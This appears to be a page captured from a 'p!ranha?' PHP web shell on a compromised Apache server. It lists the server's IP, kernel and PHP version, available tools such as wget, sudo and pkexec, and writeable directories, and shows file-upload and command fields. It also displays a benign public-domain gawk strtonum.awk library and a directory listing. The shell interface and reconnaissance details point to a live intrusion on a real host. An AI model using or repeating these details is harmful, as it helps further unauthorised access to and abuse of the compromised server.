p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.216.202
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/awk/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/share/awk/strtonum.awk
# mystrtonum --- convert string to number

#
# Arnold Robbins, arnold@skeeve.com, Public Domain
# February, 2004

function mystrtonum(str,        ret, chars, n, i, k, c)
{
    if (str ~ /^0[0-7]*$/) {
        # octal
        n = length(str)
        ret = 0
        for (i = 1; i <= n; i++) {
            c = substr(str, i, 1)
            if ((k = index("01234567", c)) > 0)
                k-- # adjust for 1-basing in awk

            ret = ret * 8 + k
        }
    } else if (str ~ /^0[xX][[:xdigit:]]+/) {
        # hexadecimal
        str = substr(str, 3)    # lop off leading 0x
        n = length(str)
        ret = 0
        for (i = 1; i <= n; i++) {
            c = substr(str, i, 1)
            c = tolower(c)
            if ((k = index("0123456789", c)) > 0)
                k-- # adjust for 1-basing in awk
            else if ((k = index("abcdef", c)) > 0)
                k += 9

            ret = ret * 16 + k
        }
    } else if (str ~ \
  /^[-+]?([0-9]+([.][0-9]*([Ee][0-9]+)?)?|([.][0-9]+([Ee][-+]?[0-9]+)?))$/) {
        # decimal number, possibly floating point
        ret = str + 0
    } else
        ret = "NOT-A-NUMBER"

    return ret
}

# BEGIN {     # gawk test harness
#     a[1] = "25"
#     a[2] = ".31"
#     a[3] = "0123"
#     a[4] = "0xdeadBEEF"
#     a[5] = "123.45"
#     a[6] = "1.e3"
#     a[7] = "1.32"
#     a[7] = "1.32E2"
# 
#     for (i = 1; i in a; i++)
#         print a[i], strtonum(a[i]), mystrtonum(a[i])
# }
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:00:09
0 / 0
0755
assert.awk
0.373 KB
June 28 2017 21:52:45
0 / 0
0644
bits2str.awk
0.319 KB
June 28 2017 21:52:45
0 / 0
0644
cliff_rand.awk
0.3 KB
June 28 2017 21:52:45
0 / 0
0644
ctime.awk
0.228 KB
June 28 2017 21:52:45
0 / 0
0644
ftrans.awk
0.31 KB
June 28 2017 21:52:45
0 / 0
0644
getopt.awk
2.185 KB
June 28 2017 21:52:45
0 / 0
0644
gettime.awk
2.433 KB
June 28 2017 21:52:45
0 / 0
0644
group.awk
1.75 KB
June 28 2017 21:52:45
0 / 0
0644
join.awk
0.369 KB
June 28 2017 21:52:45
0 / 0
0644
libintl.awk
0.232 KB
June 28 2017 21:52:45
0 / 0
0644
noassign.awk
0.415 KB
June 28 2017 21:52:45
0 / 0
0644
ord.awk
0.915 KB
June 28 2017 21:52:45
0 / 0
0644
passwd.awk
1.171 KB
June 28 2017 21:52:45
0 / 0
0644
quicksort.awk
0.999 KB
June 28 2017 21:52:45
0 / 0
0644
readable.awk
0.48 KB
June 28 2017 21:52:45
0 / 0
0644
rewind.awk
0.395 KB
June 28 2017 21:52:45
0 / 0
0644
round.awk
0.646 KB
June 28 2017 21:52:45
0 / 0
0644
strtonum.awk
1.428 KB
June 28 2017 21:52:45
0 / 0
0644
walkarray.awk
0.209 KB
June 28 2017 21:52:45
0 / 0
0644
zerofile.awk
0.414 KB
June 28 2017 21:52:45
0 / 0
0644